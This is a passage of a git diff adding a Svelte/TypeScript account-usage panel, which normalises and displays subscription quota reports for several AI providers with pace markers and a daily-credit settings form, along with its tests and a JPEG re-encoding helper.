+const STATUSES: readonly AccountUsageLimitStatus[] = ["ok", "warning", "exhausted", "unknown"];
+
+function normalizeLimit(r: Record<string, unknown>): AccountUsageLimit | null {
+ const id = str(r.id);
+ const used = num(r.used);
+ if (id === null || used === null) return null;
+ const status = STATUSES.find((s) => s === r.status) ?? "unknown";
+ return {
+ id,
+ label: str(r.label) ?? id,
+ kind: r.kind === "spend" ? "spend" : "window",
+ windowId: str(r.windowId) ?? "",
+ shared: r.shared === true,
+ tier: str(r.tier),
+ durationMs: num(r.durationMs),
+ resetsAt: num(r.resetsAt),
+ unit: r.unit === "usd" ? "usd" : r.unit === "credits" ? "credits" : "percent",
+ used,
+ limit: num(r.limit),
+ remaining: num(r.remaining),
+ usedFraction: num(r.usedFraction),
+ remainingFraction: num(r.remainingFraction),
+ status,
+ };
+}
+
+function normalizeCredits(v: unknown): AccountUsageCredits | null {
+ if (!isRecord(v)) return null;
+ return {
+ hasCredits: bool(v.hasCredits),
+ unlimited: bool(v.unlimited),
+ overageLimitReached: bool(v.overageLimitReached),
+ balance: num(v.balance),
+ spendControlReached: bool(v.spendControlReached),
+ };
+}
+
+function normalizeDailyCredits(v: unknown): AccountUsageDailyCredits | null {
+ if (!isRecord(v)) return null;
+ const balance = num(v.balance);
+ const allowance = num(v.allowance);
+ if (balance === null || allowance === null) return null;
+ return {
+ balance,
+ allowance,
+ resetAnchor: num(v.resetAnchor),
+ resetSource: v.resetSource === "manual" || v.resetSource === "detected" ? v.resetSource : null,
+ };
+}
+
+const PROVIDER_LABELS: Record<AccountUsageProviderId, string> = {
+ claude: "Claude",
+ codex: "Codex",
+ hyper: "Hyper",
+};
+
+function normalizeReport(r: Record<string, unknown>): AccountUsageReport | null {
+ const provider: AccountUsageProviderId | null =
+ r.provider === "claude" || r.provider === "codex" || r.provider === "hyper" ? r.provider : null;
+ if (provider === null) return null;
+ const account = isRecord(r.account)
+ ? {
+ accountId: str(r.account.accountId),
+ email: str(r.account.email),
+ planType: str(r.account.planType),
+ }
+ : null;
+ const limits = Array.isArray(r.limits)
+ ? r.limits
+ .filter(isRecord)
+ .map(normalizeLimit)
+ .filter((l): l is AccountUsageLimit => l !== null)
+ : [];
+ return {
+ provider,
+ label: str(r.label) ?? PROVIDER_LABELS[provider],
+ state: STATES.find((s) => s === r.state) ?? "unavailable",
+ account,
+ limits,
+ limitReached: bool(r.limitReached),
+ canServe: bool(r.canServe),
+ creditOverage: r.creditOverage === true,
+ credits: normalizeCredits(r.credits),
+ dailyCredits: normalizeDailyCredits(r.dailyCredits),
+ fetchedAt: num(r.fetchedAt),
+ lastAttemptAt: num(r.lastAttemptAt),
+ nextRefreshAt: num(r.nextRefreshAt),
+ error: str(r.error),
+ };
+}
+
+/** Coerce one untyped report (e.g. the `PUT /usage/:provider/settings` body); null if malformed. */
+export function normalizeAccountUsageReport(data: unknown): AccountUsageReport | null {
+ return isRecord(data) ? normalizeReport(data) : null;
+}
+
+/** Coerce the untyped `GET /usage` body. Malformed → empty provider list. */
+export function normalizeAccountUsage(data: unknown, fallbackNow: number): AccountUsageResponse {
+ if (!isRecord(data)) return { providers: [], servedAt: fallbackNow };
+ const providers = Array.isArray(data.providers)
+ ? data.providers
+ .filter(isRecord)
+ .map(normalizeReport)
+ .filter((p): p is AccountUsageReport => p !== null)
+ : [];
+ return { providers, servedAt: num(data.servedAt) ?? fallbackNow };
+}
+
+// ── Formatting ────────────────────────────────────────────────────────────────
+
+/** "2d 4h" / "3h 12m" / "45m" / "<1m". */
+export function formatDuration(ms: number): string {
+ if (ms < 60_000) return "<1m";
+ const totalMin = Math.floor(ms / 60_000);
+ const d = Math.floor(totalMin / 1440);
+ const h = Math.floor((totalMin % 1440) / 60);
+ const m = totalMin % 60;
+ if (d > 0) return h > 0 ? `${d}d ${h}h` : `${d}d`;
+ if (h > 0) return m > 0 ? `${h}h ${m}m` : `${h}h`;
+ return `${m}m`;
+}
+
+/** "updated 3m ago" style age, or "just now". */
+export function formatAge(fetchedAt: number | null, now: number): string | null {
+ if (fetchedAt === null) return null;
+ const ms = now - fetchedAt;
+ return ms < 60_000 ? "just now" : `${formatDuration(ms)} ago`;
+}
+
+function formatUsd(v: number): string {
+ return `$${v.toFixed(2)}`;
+}
+
+/** Whole credits as-is, fractional ones to 1 decimal ("150", "12.5"). */
+function formatCredits(v: number): string {
+ return Number.isInteger(v) ? String(v) : v.toFixed(1);
+}
+
+// ── Bars ──────────────────────────────────────────────────────────────────────
+
+export type BarTone = "success" | "warning" | "error" | "neutral";
+
+export interface UsageBarView {
+ readonly id: string;
+ readonly label: string;
+ /** Fill 0..100 for the `<progress>` value. */
+ readonly percent: number;
+ /** "42%" or "$12.50 / $50.00". */
+ readonly valueLabel: string;
+ readonly tone: BarTone;
+ /**
+ * Pace marker position 0..100 (% of the window elapsed) — the usage level
+ * that would be "on track" to exactly use the allowance by the reset. Null
+ * when the window's start can't be determined (no duration/reset).
+ */
+ readonly pacePercent: number | null;
+ /** "+12% ahead of pace" / "8% under pace" / null. */
+ readonly paceLabel: string | null;
+ /** True when usage is ahead of the pace marker. */
+ readonly aheadOfPace: boolean;
+ /** "resets in 3h 12m" / null. */
+ readonly resetLabel: string | null;
+}
+
+/**
+ * Fraction (0..1) of the window elapsed at `now`. The window started at
+ * `resetsAt - durationMs`; returns null when either is unknown.
+ */
+export function elapsedFraction(
+ durationMs: number | null,
+ resetsAt: number | null,
+ now: number,
+): number | null {
+ if (durationMs === null || resetsAt === null || durationMs <= 0) return null;
+ const start = resetsAt - durationMs;
+ return Math.min(1, Math.max(0, (now - start) / durationMs));
+}
+
+function toneFor(status: AccountUsageLimitStatus, usedFraction: number | null): BarTone {
+ if (status === "exhausted") return "error";
+ if (status === "warning") return "warning";
+ if (status === "ok") return usedFraction !== null && usedFraction >= 0.75 ? "warning" : "success";
+ return "neutral";
+}
+
+export function viewUsageBar(limit: AccountUsageLimit, now: number): UsageBarView {
+ const fraction = limit.usedFraction;
+ const percent = fraction === null ? 0 : Math.min(100, Math.max(0, fraction * 100));
+ let valueLabel: string;
+ if (limit.unit === "usd") {
+ valueLabel =
+ limit.limit === null
+ ? `${formatUsd(limit.used)} (no cap)`
+ : `${formatUsd(limit.used)} / ${formatUsd(limit.limit)}`;
+ } else if (limit.unit === "credits") {
+ valueLabel =
+ limit.limit === null
+ ? `${formatCredits(limit.used)} used`
+ : `${formatCredits(limit.used)} / ${formatCredits(limit.limit)}`;
+ } else {
+ valueLabel = `${Math.round(limit.used)}%`;
+ }
+ const elapsed = elapsedFraction(limit.durationMs, limit.resetsAt, now);
+ const pacePercent = elapsed === null ? null : elapsed * 100;
+ let paceLabel: string | null = null;
+ let aheadOfPace = false;
+ if (pacePercent !== null && fraction !== null) {
+ const diff = Math.round(percent - pacePercent);
+ aheadOfPace = diff > 0;
+ paceLabel =
+ diff === 0 ? "on pace" : diff > 0 ? `${diff}% ahead of pace` : `${-diff}% under pace`;
+ }
+ const resetLabel =
+ limit.resetsAt === null
+ ? null
+ : limit.resetsAt <= now
+ ? "resetting"
+ : `resets in ${formatDuration(limit.resetsAt - now)}`;
+ return {
+ id: limit.id,
+ label: limit.label,
+ percent,
+ valueLabel,
+ tone: toneFor(limit.status, fraction),
+ pacePercent,
+ paceLabel,
+ aheadOfPace,
+ resetLabel,
+ };
+}
+
+// ── Provider cards ────────────────────────────────────────────────────────────
+
+export interface ProviderCardView {
+ readonly provider: AccountUsageProviderId;
+ readonly label: string;
+ /** "Pro · [email protected]" / null. */
+ readonly subtitle: string | null;
+ readonly state: AccountUsageState;
+ /** Badge text for non-fresh states ("stale", "unavailable", …) or null when fresh. */
+ readonly stateBadge: string | null;
+ /** Explanatory line for empty/non-fresh states, else null. */
+ readonly message: string | null;
+ readonly bars: readonly UsageBarView[];
+ /** "updated 3m ago" / null. */
+ readonly ageLabel: string | null;
+ /** Credit-overage note (Codex), or null. */
+ readonly creditNote: string | null;
+ /** Daily-credit details + editable settings (Hyper), or null. */
+ readonly daily: DailyCreditsView | null;
+}
+
+export interface DailyCreditsView {
+ /** "100 credits left" (+ " (incl. bundles)" when the balance exceeds the allowance). */
+ readonly balanceLabel: string;
+ readonly allowance: number;
+ /** The reset anchor as a local `HH:MM` (for a time input), or "" when unknown. */
+ readonly resetTime: string;
+ /** "set manually" / "detected from a refill (approx.)" / "unknown — set it to enable the pace marker". */
+ readonly resetSourceLabel: string;
+ readonly resetSource: "manual" | "detected" | null;
+}
+
+/** Local `HH:MM` of an epoch-ms instant (time-of-day only; resets recur daily). */
+export function toLocalTimeOfDay(epochMs: number): string {
+ const d = new Date(epochMs);
+ return `${String(d.getHours()).padStart(2, "0")}:${String(d.getMinutes()).padStart(2, "0")}`;
+}
+
+/**
+ * Parse a local `HH:MM` into a reset anchor: the most recent occurrence of that
+ * local time at or before `now` (any occurrence works — resets recur daily).
+ * Null for malformed input.
+ */
+export function anchorFromTimeOfDay(hhmm: string, now: number): number | null {
+ const m = /^(\d{1,2}):(\d{2})$/.exec(hhmm.trim());
+ if (!m) return null;
+ const h = Number(m[1]);
+ const min = Number(m[2]);
+ if (h > 23 || min > 59) return null;
+ const d = new Date(now);
+ d.setHours(h, min, 0, 0);
+ if (d.getTime() > now) d.setDate(d.getDate() - 1);
+ return d.getTime();
+}
+
+/** Parse a positive-integer allowance input; null when invalid. */
+export function parseAllowanceInput(raw: string): number | null {
+ const t = raw.trim();
+ if (!/^\d+$/.test(t)) return null;
+ const n = Number(t);
+ return n > 0 && n <= 1_000_000_000 ? n : null;
+}
+
+function viewDailyCredits(d: AccountUsageDailyCredits): DailyCreditsView {
+ return {
+ balanceLabel: `${formatCredits(d.balance)} credits left${d.balance > d.allowance ? " (incl. bundles)" : ""}`,
+ allowance: d.allowance,
+ resetTime: d.resetAnchor === null ? "" : toLocalTimeOfDay(d.resetAnchor),
+ resetSourceLabel:
+ d.resetSource === "manual"
+ ? "set manually"
+ : d.resetSource === "detected"
+ ? "detected from a refill (approx.)"
+ : "unknown — set it to enable the pace marker",
+ resetSource: d.resetSource,
+ };
+}
+
+function stateMessage(r: AccountUsageReport): string | null {
+ switch (r.state) {
+ case "fresh":
+ return r.limits.length === 0 ? "No quota windows reported." : null;
+ case "stale":
+ return `Showing last known usage — refresh failed${r.error ? ` (${r.error})` : ""}.`;
+ case "unavailable":
+ return `Usage unavailable${r.error ? `: ${r.error}` : "."}`;
+ case "unsupported":
+ return r.error ?? "This credential type can't report subscription usage.";
+ case "not-configured":
+ if (r.provider === "hyper") return "No Hyper API key configured (HYPER_API_KEY).";
+ return r.provider === "claude"
+ ? "Not signed in to Claude (no OAuth credentials)."
+ : "Not signed in to Codex (no ChatGPT OAuth credentials).";
+ }
+}
+
+function capitalize(s: string): string {
+ return s.length === 0 ? s : s[0]?.toUpperCase() + s.slice(1);
+}
+
+export function viewProviderCard(r: AccountUsageReport, now: number): ProviderCardView {
+ const parts = [
+ r.account?.planType ? capitalize(r.account.planType) : null,
+ r.account?.email ?? null,
+ ].filter((p): p is string => p !== null && p !== "");
+ let creditNote: string | null = null;
+ if (r.creditOverage) {
+ creditNote = "Plan allowance used — requests are being funded by credits.";
+ } else if (r.limitReached === true && r.canServe === false) {
+ creditNote = "Plan limit reached — requests are blocked until reset.";
+ }
+ return {
+ provider: r.provider,
+ label: r.label,
+ subtitle: parts.length > 0 ? parts.join(" · ") : null,
+ state: r.state,
+ stateBadge: r.state === "fresh" ? null : r.state.replace("-", " "),
+ message: stateMessage(r),
+ bars: r.limits.map((l) => viewUsageBar(l, now)),
+ ageLabel: r.state === "fresh" || r.state === "stale" ? formatAge(r.fetchedAt, now) : null,
+ creditNote,
+ daily: r.dailyCredits ? viewDailyCredits(r.dailyCredits) : null,
+ };
+}
+
+export function viewProviderCards(
+ usage: AccountUsageResponse,
+ now: number,
+): readonly ProviderCardView[] {
+ return usage.providers.map((p) => viewProviderCard(p, now));
+}
diff --git a/src/features/account-usage/ui/AccountUsageView.svelte b/src/features/account-usage/ui/AccountUsageView.svelte
new file mode 100644
index 0000000..2a7a589
--- /dev/null
+++ b/src/features/account-usage/ui/AccountUsageView.svelte
@@ -0,0 +1,155 @@
+<script lang="ts">
+ import { untrack } from "svelte";
+ import type {
+ AccountUsageReport,
+ AccountUsageResponse,
+ LoadAccountUsage,
+ SaveAccountUsageSettings,
+ } from "../logic/types";
+ import { viewProviderCards } from "../logic/view-model";
+ import DailyCreditsSettings from "./DailyCreditsSettings.svelte";
+ import UsageBar from "./UsageBar.svelte";
+
+ let {
+ load,
+ saveSettings,
+ now = () => Date.now(),
+ pollMs = 60_000,
+ }: {
+ load: LoadAccountUsage;
+ /** Save per-provider settings (Hyper allowance + reset time). */
+ saveSettings: SaveAccountUsageSettings;
+ /** Injected clock (tests). */
+ now?: () => number;
+ /** How often to re-read `GET /usage` (served from the backend cache). */
+ pollMs?: number;
+ } = $props();
+
+ let usage = $state<AccountUsageResponse | null>(null);
+ let error = $state<string | null>(null);
+ let refreshing = $state(false);
+ let inFlight = false;
+ /** Ticks so the pace marker + "resets in" labels advance between polls. */
+ let clock = $state(untrack(() => now()));
+
+ const cards = $derived(usage ? viewProviderCards(usage, clock) : []);
+
+ async function refresh(force: boolean): Promise<void> {
+ if (inFlight) return;
+ inFlight = true;
+ if (force) refreshing = true;
+ const result = await load(force ? { refresh: true } : undefined);
+ inFlight = false;
+ refreshing = false;
+ clock = now();
+ if (result.ok) {
+ usage = result.usage;
+ error = null;
+ } else {
+ error = result.unavailable
+ ? "Account usage is unavailable (backend extension not loaded)."
+ : result.error;
+ }
+ }
+
+ /** Splice a provider's refreshed report (from a settings save) into the view. */
+ function replaceReport(report: AccountUsageReport): void {
+ clock = now();
+ if (!usage) return;
+ usage = {
+ ...usage,
+ providers: usage.providers.map((p) => (p.provider === report.provider ? report : p)),
+ };
+ }
+
+ $effect(() => {
+ const interval = untrack(() => pollMs);
+ untrack(() => void refresh(false));
+ const poll = setInterval(() => void refresh(false), interval);
+ const tick = setInterval(() => {
+ clock = now();
+ }, 30_000);
+ return () => {
+ clearInterval(poll);
+ clearInterval(tick);
+ };
+ });
+</script>
+
+<div class="flex flex-col gap-3">
+ <div class="flex items-center justify-between gap-2">
+ <h3 class="text-xs font-semibold uppercase opacity-60">Subscription usage</h3>
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ onclick={() => void refresh(true)}
+ disabled={refreshing}
+ aria-label="Refresh account usage"
+ >
+ {#if refreshing}<span class="loading loading-spinner loading-xs"></span>{/if}
+ Refresh
+ </button>
+ </div>
+
+ {#if error}
+ <p class="text-xs text-error">{error}</p>
+ {/if}
+
+ {#if usage === null && error === null}
+ <p class="text-xs opacity-60">Loading…</p>
+ {/if}
+
+ {#each cards as card (card.provider)}
+ <section class="flex flex-col gap-2 rounded-box bg-base-200 p-2" aria-label="{card.label} usage">
+ <div class="flex items-start justify-between gap-2">
+ <div class="flex min-w-0 flex-col">
+ <span class="text-sm font-semibold">{card.label}</span>
+ {#if card.subtitle}
+ <span class="truncate text-[11px] opacity-60">{card.subtitle}</span>
+ {/if}
+ </div>
+ <div class="flex shrink-0 flex-col items-end gap-0.5">
+ {#if card.stateBadge}
+ <span
+ class="badge badge-xs"
+ class:badge-warning={card.state === "stale"}
+ class:badge-error={card.state === "unavailable"}
+ class:badge-ghost={card.state === "unsupported" || card.state === "not-configured"}
+ >{card.stateBadge}</span
+ >
+ {/if}
+ {#if card.ageLabel}
+ <span class="text-[11px] opacity-50">updated {card.ageLabel}</span>
+ {/if}
+ </div>
+ </div>
+
+ {#if card.message}
+ <p class="text-xs opacity-70">{card.message}</p>
+ {/if}
+ {#if card.creditNote}
+ <p class="text-xs text-warning">{card.creditNote}</p>
+ {/if}
+
+ {#each card.bars as bar (bar.id)}
+ <UsageBar {bar} />
+ {/each}
+
+ {#if card.daily}
+ <DailyCreditsSettings
+ daily={card.daily}
+ save={saveSettings}
+ onSaved={replaceReport}
+ {now}
+ />
+ {/if}
+ </section>
+ {/each}
+
+ {#if cards.some((c) => c.bars.some((b) => b.pacePercent !== null))}
+ <p class="flex items-center gap-1.5 text-[11px] opacity-50">
+ <span class="inline-block size-2 rounded-full bg-base-content"></span>
+ on-track pace — usage that would exactly use the allowance by its reset
+ </p>
+ {/if}
+</div>
diff --git a/src/features/account-usage/ui/AccountUsageView.test.ts b/src/features/account-usage/ui/AccountUsageView.test.ts
new file mode 100644
index 0000000..ec1e51b
--- /dev/null
+++ b/src/features/account-usage/ui/AccountUsageView.test.ts
@@ -0,0 +1,184 @@
+import type { AccountUsageResponse } from "@dispatch/transport-contract";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it } from "vitest";
+import type {
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ SaveAccountUsageSettings,
+} from "../logic/types";
+import AccountUsageView from "./AccountUsageView.svelte";
+
+const NOW = 1_760_000_000_000;
+
+const noSave: SaveAccountUsageSettings = async () => ({ ok: false, error: "unused" });
+const DAY = 86_400_000;
+
+const usage: AccountUsageResponse = {
+ servedAt: NOW,
+ providers: [
+ {
+ provider: "claude",
+ label: "Claude",
+ state: "fresh",
+ account: { accountId: "a", email: "[email protected]", planType: "max" },
+ limits: [
+ {
+ id: "claude:7d",
+ label: "7 Day",
+ kind: "window",
+ windowId: "7d",
+ shared: true,
+ tier: null,
+ durationMs: 28 * DAY,
+ resetsAt: NOW + 14 * DAY,
+ unit: "percent",
+ used: 30,
+ limit: 100,
+ remaining: 70,
+ usedFraction: 0.3,
+ remainingFraction: 0.7,
+ status: "ok",
+ },
+ ],
+ limitReached: null,
+ canServe: null,
+ creditOverage: false,
+ credits: null,
+ dailyCredits: null,
+ fetchedAt: NOW,
+ lastAttemptAt: NOW,
+ nextRefreshAt: NOW + 300_000,
+ error: null,
+ },
+ {
+ provider: "codex",
+ label: "Codex",
+ state: "not-configured",
+ account: null,
+ limits: [],
+ limitReached: null,
+ canServe: null,
+ creditOverage: false,
+ credits: null,
+ dailyCredits: null,
+ fetchedAt: null,
+ lastAttemptAt: NOW,
+ nextRefreshAt: NOW + 30_000,
+ error: "No Codex OAuth credentials",
+ },
+ ],
+};
+
+describe("AccountUsageView", () => {
+ it("renders a daisyUI progress bar with a pace marker at the elapsed position", async () => {
+ const calls: Array<{ refresh?: boolean } | undefined> = [];
+ const load = async (opts?: { refresh?: boolean }): Promise<AccountUsageResult> => {
+ calls.push(opts);
+ return { ok: true, usage };
+ };
+ render(AccountUsageView, { load, saveSettings: noSave, now: () => NOW });
+ const bar = await screen.findByLabelText("7 Day usage");
+ expect(bar.tagName).toBe("PROGRESS");
+ expect(bar.classList.contains("progress")).toBe(true);
+ expect(bar.getAttribute("value")).toBe("30");
+ const marker = screen.getByTestId("pace-marker");
+ expect(marker.getAttribute("style")).toContain("left: 50%");
+ expect(screen.getByText("20% under pace")).toBeTruthy();
+ expect(screen.getByText(/Not signed in to Codex/)).toBeTruthy();
+
+ await userEvent.click(screen.getByRole("button", { name: "Refresh account usage" }));
+ expect(calls.at(-1)).toEqual({ refresh: true });
+ });
+
+ it("shows the unavailable message on 503", async () => {
+ const load = async (): Promise<AccountUsageResult> => ({
+ ok: false,
+ error: "x",
+ unavailable: true,
+ });
+ render(AccountUsageView, { load, saveSettings: noSave, now: () => NOW });
+ expect(await screen.findByText(/backend extension not loaded/)).toBeTruthy();
+ });
+
+ it("edits the Hyper allowance + reset time and splices the saved report", async () => {
+ const hyper = {
+ provider: "hyper" as const,
+ label: "Hyper",
+ state: "fresh" as const,
+ account: { accountId: null, email: null, planType: null },
+ limits: [
+ {
+ id: "hyper:daily",
+ label: "Daily credits",
+ kind: "window" as const,
+ windowId: "1d",
+ shared: true,
+ tier: null,
+ durationMs: DAY,
+ resetsAt: null,
+ unit: "credits" as const,
+ used: 150,
+ limit: 250,
+ remaining: 100,
+ usedFraction: 0.6,
+ remainingFraction: 0.4,
+ status: "ok" as const,
+ },
+ ],
+ limitReached: null,
+ canServe: true,
+ creditOverage: false,
+ credits: null,
+ dailyCredits: { balance: 100, allowance: 250, resetAnchor: null, resetSource: null },
+ fetchedAt: NOW,
+ lastAttemptAt: NOW,
+ nextRefreshAt: NOW + 300_000,
+ error: null,
+ };
+ const load = async (): Promise<AccountUsageResult> => ({
+ ok: true,
+ usage: { servedAt: NOW, providers: [hyper] },
+ });
+ const saved: Array<Parameters<SaveAccountUsageSettings>[1]> = [];
+ const saveSettings: SaveAccountUsageSettings = async (_p, settings) => {
+ saved.push(settings);
+ const r: AccountUsageSettingsResult = {
+ ok: true,
+ report: {
+ ...hyper,
+ limits: [
+ {
+ ...(hyper.limits[0] as (typeof hyper.limits)[0]),
+ limit: 300,
+ resetsAt: NOW + DAY / 2,
+ },
+ ],
+ dailyCredits: {
+ balance: 100,
+ allowance: 300,
+ resetAnchor: NOW - DAY / 2,
+ resetSource: "manual",
+ },
+ },
+ };
+ return r;
+ };
+ render(AccountUsageView, { load, saveSettings, now: () => NOW });
+ expect(await screen.findByText("150 / 250")).toBeTruthy();
+ expect(screen.queryByTestId("pace-marker")).toBeNull();
+
+ await userEvent.click(screen.getByRole("button", { name: "Edit Hyper credit settings" }));
+ const allowance = screen.getByLabelText("Daily credit allowance");
+ await userEvent.clear(allowance);
+ await userEvent.type(allowance, "300");
+ const time = screen.getByLabelText("Daily credit reset time") as HTMLInputElement;
+ await userEvent.type(time, "09:00");
+ await userEvent.click(screen.getByRole("button", { name: "Save Hyper credit settings" }));
+
+ expect(saved[0]?.dailyAllowance).toBe(300);
+ expect(typeof saved[0]?.resetAnchor).toBe("number");
+ expect(await screen.findByText(/set manually/)).toBeTruthy();
+ expect(screen.getByTestId("pace-marker")).toBeTruthy();
+ });
+});
diff --git a/src/features/account-usage/ui/DailyCreditsSettings.svelte b/src/features/account-usage/ui/DailyCreditsSettings.svelte
new file mode 100644
index 0000000..7ed710a
--- /dev/null
+++ b/src/features/account-usage/ui/DailyCreditsSettings.svelte
@@ -0,0 +1,126 @@
+<script lang="ts">
+ import { untrack } from "svelte";
+ import type { AccountUsageReport, SaveAccountUsageSettings } from "../logic/types";
+ import {
+ anchorFromTimeOfDay,
+ type DailyCreditsView,
+ parseAllowanceInput,
+ } from "../logic/view-model";
+
+ let {
+ daily,
+ save,
+ onSaved,
+ now = () => Date.now(),
+ }: {
+ daily: DailyCreditsView;
+ save: SaveAccountUsageSettings;
+ /** Receives the refreshed report after a successful save. */
+ onSaved: (report: AccountUsageReport) => void;
+ now?: () => number;
+ } = $props();
+
+ let editing = $state(false);
+ let allowanceInput = $state("");
+ let timeInput = $state("");
+ let saving = $state(false);
+ let error = $state<string | null>(null);
+
+ const parsedAllowance = $derived(parseAllowanceInput(allowanceInput));
+ const timeValid = $derived(timeInput === "" || anchorFromTimeOfDay(timeInput, now()) !== null);
+
+ function startEdit(): void {
+ untrack(() => {
+ allowanceInput = String(daily.allowance);
+ timeInput = daily.resetTime;
+ });
+ error = null;
+ editing = true;
+ }
+
+ async function submit(): Promise<void> {
+ if (parsedAllowance === null || !timeValid) return;
+ saving = true;
+ error = null;
+ // Empty time clears a MANUAL anchor (a detected one may still apply).
+ const resetAnchor = timeInput === "" ? null : anchorFromTimeOfDay(timeInput, now());
+ const result = await save("hyper", { dailyAllowance: parsedAllowance, resetAnchor });
+ saving = false;
+ if (result.ok) {
+ editing = false;
+ onSaved(result.report);
+ } else {
+ error = result.error;
+ }
+ }
+</script>
+
+<div class="flex flex-col gap-1 text-[11px]">
+ <div class="flex items-center justify-between gap-2">
+ <span class="opacity-70">{daily.balanceLabel}</span>
+ {#if !editing}
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ onclick={startEdit}
+ aria-label="Edit Hyper credit settings">Edit</button
+ >
+ {/if}
+ </div>
+ {#if !editing}
+ <span class="opacity-60">
+ Daily allowance {daily.allowance} · resets {daily.resetTime || "—"} ({daily.resetSourceLabel})
+ </span>
+ {:else}
+ <form
+ class="flex flex-col gap-1"
+ onsubmit={(e) => {
+ e.preventDefault();
+ void submit();
+ }}
+ >
+ <label class="flex items-center justify-between gap-2">
+ <span>Daily allowance</span>
+ <input
+ type="text"
+ inputmode="numeric"
+ class="input input-bordered input-xs w-20 font-mono"
+ class:input-error={parsedAllowance === null}
+ aria-label="Daily credit allowance"
+ bind:value={allowanceInput}
+ disabled={saving}
+ />
+ </label>
+ <label class="flex items-center justify-between gap-2">
+ <span>Reset time (local)</span>
+ <input
+ type="time"
+ class="input input-bordered input-xs w-24 font-mono"
+ class:input-error={!timeValid}
+ aria-label="Daily credit reset time"
+ bind:value={timeInput}
+ disabled={saving}
+ />
+ </label>
+ <span class="opacity-50">Leave the time empty to use the auto-detected refill time.</span>
+ {#if error}<span class="text-error">{error}</span>{/if}
+ <div class="flex justify-end gap-1">
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs"
+ onclick={() => (editing = false)}
+ disabled={saving}>Cancel</button
+ >
+ <button
+ type="submit"
+ class="btn btn-primary btn-xs"
+ disabled={saving || parsedAllowance === null || !timeValid}
+ aria-label="Save Hyper credit settings"
+ >
+ {#if saving}<span class="loading loading-spinner loading-xs"></span>{/if}
+ Save
+ </button>
+ </div>
+ </form>
+ {/if}
+</div>
diff --git a/src/features/account-usage/ui/UsageBar.svelte b/src/features/account-usage/ui/UsageBar.svelte
new file mode 100644
index 0000000..f4298c1
--- /dev/null
+++ b/src/features/account-usage/ui/UsageBar.svelte
@@ -0,0 +1,49 @@
+<script lang="ts">
+ import type { UsageBarView } from "../logic/view-model";
+
+ let { bar }: { bar: UsageBarView } = $props();
+
+ const progressClass = $derived(
+ {
+ success: "progress-success",
+ warning: "progress-warning",
+ error: "progress-error",
+ neutral: "",
+ }[bar.tone],
+ );
+</script>
+
+<div class="flex flex-col gap-0.5" data-testid="usage-bar" data-limit-id={bar.id}>
+ <div class="flex items-baseline justify-between gap-2 text-xs">
+ <span class="truncate font-medium">{bar.label}</span>
+ <span class="shrink-0 font-mono tabular-nums">{bar.valueLabel}</span>
+ </div>
+ <div class="relative flex items-center">
+ <progress
+ class="progress h-2 w-full {progressClass}"
+ value={bar.percent}
+ max="100"
+ aria-label="{bar.label} usage"
+ ></progress>
+ {#if bar.pacePercent !== null}
+ <!-- Pace marker: where usage would be if spread evenly to the reset. -->
+ <span
+ class="pointer-events-none absolute top-1/2 size-2.5 -translate-x-1/2 -translate-y-1/2 rounded-full border-2 border-base-100 bg-base-content"
+ style="left: {bar.pacePercent}%"
+ data-testid="pace-marker"
+ title="On-track pace: {Math.round(bar.pacePercent)}%"
+ aria-hidden="true"
+ ></span>
+ {/if}
+ </div>
+ {#if bar.resetLabel || bar.paceLabel}
+ <div class="flex justify-between gap-2 text-[11px] opacity-60">
+ <span>{bar.resetLabel ?? ""}</span>
+ {#if bar.paceLabel}
+ <span class:text-warning={bar.aheadOfPace} class:opacity-100={bar.aheadOfPace}
+ >{bar.paceLabel}</span
+ >
+ {/if}
+ </div>
+ {/if}
+</div>
diff --git a/src/features/chat/adapter/image-encode.test.ts b/src/features/chat/adapter/image-encode.test.ts
new file mode 100644
index 0000000..dbaa8ae
--- /dev/null
+++ b/src/features/chat/adapter/image-encode.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import { convertToJpeg } from "./image-encode";
+
+describe("convertToJpeg (canvas edge — real environment, no mocks)", () => {
+ it("skips non-convertible formats without touching the canvas", async () => {
+ const jpeg = new File([new Uint8Array([0xff, 0xd8])], "photo.jpg", { type: "image/jpeg" });
+ await expect(convertToJpeg(jpeg)).resolves.toBe(null);
+ const gif = new File([new Uint8Array([0x47])], "anim.gif", { type: "image/gif" });
+ await expect(convertToJpeg(gif)).resolves.toBe(null);
+ const unnamed = new File([new Uint8Array([0x00])], "blob", { type: "" });
+ await expect(convertToJpeg(unnamed)).resolves.toBe(null);
+ });
+
+ it("falls back to null on decode failure (no real canvas in this environment)", async () => {
+ const png = new File([new Uint8Array([0x89, 0x50])], "shot.png", { type: "image/png" });
+ // jsdom has no `createImageBitmap` → the decode throws → the failure path
+ // must resolve to `null` (never reject), so sending is never blocked.
+ await expect(convertToJpeg(png)).resolves.toBe(null);
+ });
+});
diff --git a/src/features/chat/adapter/image-encode.ts b/src/features/chat/adapter/image-encode.ts
new file mode 100644
index 0000000..4570a5a
--- /dev/null
+++ b/src/features/chat/adapter/image-encode.ts
@@ -0,0 +1,67 @@
+import {
+ computeResizedDimensions,
+ JPEG_QUALITY,
+ shouldConvertImage,
+ useConvertedImage,
+} from "../logic/image-compress";
+
+/** A successfully converted image: a JPEG blob at `JPEG_QUALITY`. */
+export interface ConvertedJpeg {
+ readonly blob: Blob;
+ readonly mimeType: "image/jpeg";
+}
+
+/**
+ * The injected browser edge for attach-time compression: a `File` in, a
+ * (maybe) smaller JPEG out. Returns `null` when the source is not converted
+ * (non-convertible format) or the conversion is skipped/failed (decode or
+ * encode error, smaller-wins rule) — the caller then sends the original
+ * bytes. Compression must never block or break sending, so every failure is
+ * swallowed into `null`.
+ */
+export type ImageJpegEncoder = (file: File) => Promise<ConvertedJpeg | null>;
+
+/**
+ * Canvas-based JPEG re-encode: decode the source, rescale to cap the longest
+ * edge at `MAX_IMAGE_EDGE_PX` (never upscale, high-quality smoothing), flatten
+ * any transparency onto a white background (JPEG has no alpha), and encode at
+ * `JPEG_QUALITY`. Applied only to convertible (lossless) sources; the result
+ * is used only under the smaller-wins rule.
+ *
+ * Thin by design — every decision comes from `../logic/image-compress`.
+ */
+export const convertToJpeg: ImageJpegEncoder = async (file: File) => {
+ try {
+ if (!shouldConvertImage(file.type)) return null;
+
+ const bitmap = await createImageBitmap(file);
+ const target = computeResizedDimensions(bitmap.width, bitmap.height);
